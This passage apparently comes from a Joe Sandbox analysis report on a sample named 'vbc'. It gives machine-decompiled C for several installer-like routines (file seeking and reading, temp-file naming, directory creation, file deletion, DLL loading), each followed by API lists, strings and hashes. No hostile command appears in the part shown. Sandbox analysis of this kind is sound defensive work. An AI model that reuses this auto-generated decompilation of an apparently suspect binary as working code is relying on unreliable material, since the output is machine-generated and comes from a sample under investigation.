					L22:
					E0040302E(1);
					return 0;
				}
				E004035FE( *0x79f744);
				SetFilePointer( *0x40a01c,  *0x40ce60, 0, 0); // executed
				 *0x79f740 = _t33;
				 *0x79f730 = 0;
				while(1) {
					_t30 = 0x4000;
					_t11 =  *0x79f738 -  *0x79f744;
					if(_t11 <= 0x4000) {
						_t30 = _t11;
					}
					_t12 = E004035E8(0x793730, _t30);
					if(_t12 == 0) {
						break;
					}
					 *0x79f744 =  *0x79f744 + _t30;
					 *0x40ce68 = 0x793730;
					 *0x40ce6c = _t30;
					L6:
					L6:
					if( *0x7a8ab0 != 0 &&  *0x7a8b40 == 0) {
						 *0x79f730 =  *0x79f740 -  *0x79f734 - _a4 +  *0x40ce60;
						E0040302E(0);
					}
					 *0x40ce70 = 0x78b730;
					 *0x40ce74 = 0x8000;
					if(E00406B96(?str?) < 0) {
						goto L20;
					}
					_t35 =  *0x40ce70; // 0x78e743
					_t36 = _t35 - 0x78b730;
					if(_t36 == 0) {
						__eflags =  *0x40ce6c; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t30;
						if(_t30 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x79f734;
						if(_t16 -  *0x40ce60 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0);
						goto L22;
					}
					_t18 = E00406210( *0x40a01c, 0x78b730, _t36); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x40ce60 =  *0x40ce60 + _t36;
					_t48 =  *0x40ce6c; // 0x0
					if(_t48 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x0040348f
0x004034a2
0x004034a7
0x004035d7
0x004035d9
0x00000000
0x004035df
0x004034b3
0x004034c6
0x004034cc
0x004034d2
0x004034dd
0x004034e2
0x004034e7
0x004034ef
0x004034f1
0x004034f1
0x004034fa
0x00403501
0x00000000
0x00000000
0x00403507
0x0040350d
0x00403513
0x00000000
0x00403519
0x0040351f
0x0040353f
0x00403544
0x00403549
0x0040354f
0x00403555
0x00403566
0x00000000
0x00000000
0x00403568
0x0040356e
0x00403570
0x00403593
0x00403599
0x00000000
0x00000000
0x0040359b
0x0040359d
0x00000000
0x00000000
0x0040359f
0x0040359f
0x004035b2
0x00000000
0x00000000
0x004035c1
0x00000000
0x004035c1
0x0040357a
0x00403581
0x004035ce
0x004035d4
0x004035d4
0x00000000
0x004035d4
0x00403583
0x00403589
0x0040358f
0x00000000
0x00000000
0x00000000
0x004035d2
0x004035d2
0x00000000
0x004035d2
0x00000000

APIs

GetTickCount.KERNEL32(00000000,00000000,?,00000000,004033A9,00000004,00000000,00000000,?,?,00403323,000000FF,00000000,00000000,?,?), ref: 00403493

Part of subcall function 004035FE: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032FC,?), ref: 0040360C

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A9,00000004,00000000,00000000,?,?,00403323,000000FF,00000000,00000000,?,?), ref: 004034C6
SetFilePointer.KERNEL32(?,00000000,00000000,{ky,00793730,00004000,?,00000000,004033A9,00000004,00000000,00000000,?,?,00403323,000000FF), ref: 004035C1

Strings

{ky, xrefs: 0040350D, 0040354A
Cx, xrefs: 0040354F, 00403568
07y, xrefs: 004034F3

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: 07y$Cx${ky
API String ID: 1092082344-2003166005
Opcode ID: 5ef9f3cf75525ab0b28f5e9a18968e2fb4815e048a68f3a4626f05087b93d5e0
Instruction ID: fa4fce997e9b0d1f670701ff0d5ea0446f36afc43afd7a1273bf0b0fb6409833
Opcode Fuzzy Hash: 5ef9f3cf75525ab0b28f5e9a18968e2fb4815e048a68f3a4626f05087b93d5e0
Instruction Fuzzy Hash: 6E31AEB2510215EFCB209F69FE8492A3BADF74475A714423BE401B22F0DB795D02CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 004069CB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004069CB(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004069e2
0x004069eb
0x004069ed
0x004069ed
0x004069f1
0x00406a04
0x004069fe
0x004069fe
0x004069fe
0x00406a1d
0x00406a31
0x00406a38

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069E2
wsprintfW.USER32 ref: 00406A1D
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A31

Strings

UXTHEME, xrefs: 004069D4
\, xrefs: 004069F3
%s%S.dll, xrefs: 00406A17

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: edb644a17e19fa0d5d66c6da3b257654e99a3b388903ea93700411201bdfbebd
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: 37F0F671600219A7DB14BB64DD0EF9B376CAB00304F11447AA646F10D0FB7CDB68CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405B9F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405B9F(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405baa
0x00405bae
0x00405bb1
0x00405bb7
0x00405bbb
0x00405bbf
0x00405bc7
0x00405bce
0x00405bd4
0x00405bdb
0x00405be2
0x00405bea
0x00405bec
0x00000000
0x00405bec
0x00405bf6
0x00405bfd
0x00405c13
0x00000000
0x00000000
0x00000000
0x00405c15
0x00405c19

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BE2
GetLastError.KERNEL32 ref: 00405BF6
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C0B
GetLastError.KERNEL32 ref: 00405C15

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BC5

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-4017390910
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: a4b5b825bdd4266eac6b0ee8a32438dce20ed58698919e53373cd8165130f89a
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 31010871D04219EAEF009BA0C944BEFBFB8EF04314F00403AD545B6191E7799A48CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040618D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040618D(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a5ac; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00406193
0x00406199
0x0040619a
0x0040619a
0x0040619f
0x004061a0
0x004061a3
0x004061a8
0x004061ab
0x004061b5
0x004061c2
0x004061c6
0x004061ce
0x00000000
0x00000000
0x004061d2
0x00000000
0x004061d4
0x004061d4
0x004061d4
0x004061d7
0x004061da
0x004061da
0x004061dd
0x00000000

APIs

GetTickCount.KERNEL32(7556D4C4,C:\Users\user\AppData\Local\Temp\,?,?,?,00403644,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 004061AB
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,00403644,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 004061C6

Strings

nsa, xrefs: 0040619A
C:\Users\user\AppData\Local\Temp\, xrefs: 00406192

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4262883142
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: 4618a7cd5e379287717806b061479f75a97df545f28ae60e57938b9bb9b89627
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: 4CF09676700214BFDB008F55ED05E9AB7BCEF91710F11803AEE05E7150E6B099548764

Uniqueness

Uniqueness Score: -1.00%

Function 00403377 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00403377(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x7a8af8;
					 *0x79f734 = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E0040347F(4);
				if(_t22 >= 0) {
					_t24 = E004061E1( *0x40a01c,  &_a4, 4); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x79f734 =  *0x79f734 + 4;
						_t36 = E0040347F(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
									_t36 = _v8;
									 *0x79f734 =  *0x79f734 + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										if(E004061E1( *0x40a01c, 0x793730, _t28) == 0) {
											goto L18;
										}
										_t30 = E00406210(_a8, 0x793730, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x79f734 =  *0x79f734 + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x0040337b
0x00403384
0x0040338d
0x00403391
0x0040339c
0x0040339c
0x004033a4
0x004033ab
0x004033bd
0x004033c4
0x00403469
0x00403469
0x00000000
0x004033ca
0x004033cd
0x004033d9
0x004033dd
0x00403477
0x00403477
0x004033e3
0x004033e6
0x00403445
0x0040344b
0x0040344d
0x0040344d
0x0040345f
0x00403467
0x0040346e
0x00403471
0x00000000
0x00000000
0x00000000
0x00000000
0x004033e8
0x004033eb
0x00000000
0x004033f1
0x004033f6
0x004033fd
0x00403400
0x00403402
0x00403402
0x0040340f
0x00403419
0x00000000
0x00000000
0x00403422
0x00403429
0x00403441
0x0040346b
0x0040346b
0x0040342b
0x0040342b
0x0040342e
0x00403431
0x00403437
0x0040343d
0x00000000
0x0040343f
0x00000000
0x0040343f
0x0040343d
0x00000000
0x00403429
0x00000000
0x004033f6
0x004033eb
0x004033e6
0x004033dd
0x004033c4
0x00403479
0x0040347c

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,00403323,000000FF,00000000,00000000,?,?), ref: 0040339C

Strings

07y, xrefs: 004033F1

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FilePointer
String ID: 07y
API String ID: 973152223-1660179758
Opcode ID: 6b22196eac9600fa0887d596689305aa324d5ca70b4b9ec5c244ac4710233144
Instruction ID: 558639dd8831905cecc0235a21772d735375f1fafe9af626847c4dd8eee9aa20
Opcode Fuzzy Hash: 6b22196eac9600fa0887d596689305aa324d5ca70b4b9ec5c244ac4710233144
Instruction Fuzzy Hash: 73319330201218FFDF129FA5ED85D9E3F68EB00359F10803AF905E9190D778DA51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405D32 Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E00405D32(void* __eflags, WCHAR* _a4, signed int _a8) {
				int _t9;
				long _t13;
				WCHAR* _t14;

				_t14 = _a4;
				_t13 = E00406139(_t14);
				if(_t13 == 0xffffffff) {
					L8:
					return 0;
				}
				_push(_t14);
				if((_a8 & 0x00000001) == 0) {
					_t9 = DeleteFileW();
				} else {
					_t9 = RemoveDirectoryW(); // executed
				}
				if(_t9 == 0) {
					if((_a8 & 0x00000004) == 0) {
						SetFileAttributesW(_t14, _t13);
					}
					goto L8;
				} else {
					return 1;
				}
			}

0x00405d33
0x00405d3e
0x00405d43
0x00405d73
0x00000000
0x00405d73
0x00405d4a
0x00405d4b
0x00405d55
0x00405d4d
0x00405d4d
0x00405d4d
0x00405d5d
0x00405d69
0x00405d6d
0x00405d6d
0x00000000
0x00405d5f
0x00000000
0x00405d61

APIs

Part of subcall function 00406139: GetFileAttributesW.KERNELBASE(?,?,00405D3E,?,?,00000000,00405F14,?,?,?,?), ref: 0040613E
Part of subcall function 00406139: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00406152

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405F14), ref: 00405D4D
DeleteFileW.KERNEL32(?,?,?,00000000,00405F14), ref: 00405D55
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D6D

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction ID: 65d886778d981234f1bc095319bf1530848ff53bfe772b7143d7b60a17f83489
Opcode Fuzzy Hash: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction Fuzzy Hash: E1E0E531204EA056C7106B35AD0CF5B2A98EF86314F05893FF592B10D0D77888078AAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406AE6 Relevance: 4.5, APIs: 3, Instructions: 27
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AE6(void* __ecx, void* _a4) {
				long _v8;
				long _t6;

				_t6 = WaitForSingleObject(_a4, 0x64);
				while(_t6 == 0x102) {
					E00406A77(0xf);
					_t6 = WaitForSingleObject(_a4, 0x64);
				}
				GetExitCodeProcess(_a4,  &_v8); // executed
				return _v8;
			}

0x00406af7
0x00406b0e
0x00406b02
0x00406b0c
0x00406b0c
0x00406b19
0x00406b25

APIs

WaitForSingleObject.KERNEL32(?,00000064,00000000,00000000,?,?,00401F9F,?,?,?,?,?,?), ref: 00406AF7
WaitForSingleObject.KERNEL32(?,00000064,0000000F,?,?,00401F9F,?,?,?,?,?,?), ref: 00406B0C
GetExitCodeProcess.KERNELBASE(?,?), ref: 00406B19

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: 283581236024a182d03fca7383c40b0f2a2dbb9aa7d2600e4fb29ca982165da2
Instruction ID: 2c972b7a35bd62db52b15041da2731f4b89024a3c017fe3bef96d42d01d66162
Opcode Fuzzy Hash: 283581236024a182d03fca7383c40b0f2a2dbb9aa7d2600e4fb29ca982165da2
Instruction Fuzzy Hash: 67E09271600218BBEB00AB54DD05E9E7F7EDB44700F110032F601F6190C6B1EE22DAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00403C2B Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00403C2B() {
				void* _t1;
				void* _t2;
				void* _t4;
				signed int _t11;

				_t1 =  *0x40a018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1); // executed
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0xffffffff
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E00403C88();
				_t4 = E00405D7A(_t11, 0x7b6000, 7); // executed
				return _t4;
			}

0x00403c2b
0x00403c3a
0x00403c3d
0x00403c3f
0x00403c3f
0x00403c46
0x00403c4e
0x00403c51
0x00403c53
0x00403c53
0x00403c53
0x00403c5a
0x00403c66
0x00403c6c

APIs

CloseHandle.KERNELBASE(FFFFFFFF), ref: 00403C3D
CloseHandle.KERNEL32(FFFFFFFF), ref: 00403C51

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403C30

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\
